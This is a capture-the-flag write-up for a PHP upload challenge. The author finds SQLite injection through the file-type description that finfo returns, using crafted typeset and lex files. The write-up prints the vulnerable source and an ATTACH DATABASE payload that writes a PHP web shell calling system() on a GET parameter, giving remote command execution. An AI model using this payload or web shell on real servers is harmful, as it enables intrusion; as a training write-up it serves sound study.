Summary: A web challenge involving SQLite Injection via file format descriptions to shell upload RCE.

Challenge

Following Source Code is provied in the challenge description

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
session_start();

if( ! isset($_SESSION['id'])) {
    $_SESSION['id'] = bin2hex(random_bytes(32));
}

$d = '/var/www/html/files/'.$_SESSION['id'] . '/';
@mkdir($d, 0700, TRUE);
chdir($d) || die('chdir');

$db = new PDO('sqlite:' . $d . 'db.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec('CREATE TABLE IF NOT EXISTS upload(id INTEGER PRIMARY KEY, info TEXT);');

if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
    $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
    $db->exec($s);
    move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
}

$uploads = [];
$sql = 'SELECT * FROM upload';
foreach ($db->query($sql) as $row) {
    $uploads[] = [$row['id'], $row['info']];
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>file magician</title>
</head>
<form enctype="multipart/form-data" method="post">
    <input type="file" name="file">
    <input type="submit" value="upload">
</form>
<table>
    <?php foreach($uploads as $upload):?>
        <tr>
            <td><a href="<?= '/files/' . $_SESSION['id'] . '/' . $upload[0] ?>"><?= $upload[0] ?></a></td>
            <td><?= $upload[1] ?></td>
        </tr>
    <?php endforeach?>
</table>

On the initial looks into the code, i felt the challenge would be something about fileupload abuses. After attempting all things related to uploads i stood nowhere so i went back to read code again.

Seeing that the file is written into with tmo_name and then a sqlite database operation is performed and then it is moved to destination, i felt there must be some kind of racecondition with a way to leak/bruetforce the tmpphpxxxx filename and access it. But after few hours of vain i dropped that idea and started setting up the challenge locally and added an echo statement to print the sqlite query after upload.

And i uploaded a plain text file and i saw this

INSERT INTO upload(info) VALUES ('ASCII text, with no line terminators');

So at this point it was evident that the finfo)->file basically figures out the uploaded filetype and the filetype is written into database. on reading further abount finfo i found out that the finfo uses a database of file format signatures called magicdb to recognize files like the file command in unix.

Such magic db file is usually present at /usr/share/misc/magic.mgc in linux.

LightBulb Moment: Insert query directly takes in filetype description and inserts into the table without any validation. So maybe if we find one such file format where we could control the filetype output we can perform injection. At this point the challenge name fileMagician -> (Magicdb, MagicBytes whatever) made alot of sense and i fixed my mind that this must be it.

I started testing this by tring to upload various formated files, i uploaded a 32bit windows binary and tried to edit hex bytes, to somehow control/modify the output.

I was able to modify few magicbytes and modify the architecture recognizition like below, in some other cases modify versions etc

Challenge

After alot of time trying this on all formats i had on my laptop, i failed finding a fileformat that would allow me to inject strings, because ultimately we want to inject string for writing out sqlite payload. I went ahead to check how the file command recognizes its formats. On their github there are all signatures for all the fileformats -

(https://github.com/file/file/tree/fd04f3df822e3934c557cf282615a61c04ca2324/magic/Magdir)

I started blindly taking each format and testing

after much time i found a valid format, that would let me write some string at the end.

https://github.com/file/file/blob/fd04f3df822e3934c557cf282615a61c04ca2324/magic/Magdir/typeset

The typeset format allowed writing the version as string.

Challenge

So i uploaded this test.txt to the server and 500 internal error.

Challenge

A good indication that the injection works. I then googled for ways to achieve RCE from Sqlite.

The method - Remote Command Execution using SQLite command - Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

We have to execute the following queries after our injection point.

So i edited the test.txt and added the payload and uploaded it blindly many times and failed, then i realize the below

Challenge

The typeset format had a length limit :(

So i went back to the file database and this time found lex format.

I made sure the format supported large number of injection, enough for our 3 query concatinated payload.

Challenge

Sure it does.

Now i direclty opened burp and uploaded the file into /var/www/htm/files itself, seems like sandboxing isnt handled well.

Challenge

And we can confirm we have code execution

Challenge

Now i changed the payload to simple php backdoor with system function and was able to read the flag.

Challenge Challenge

Thanks for reading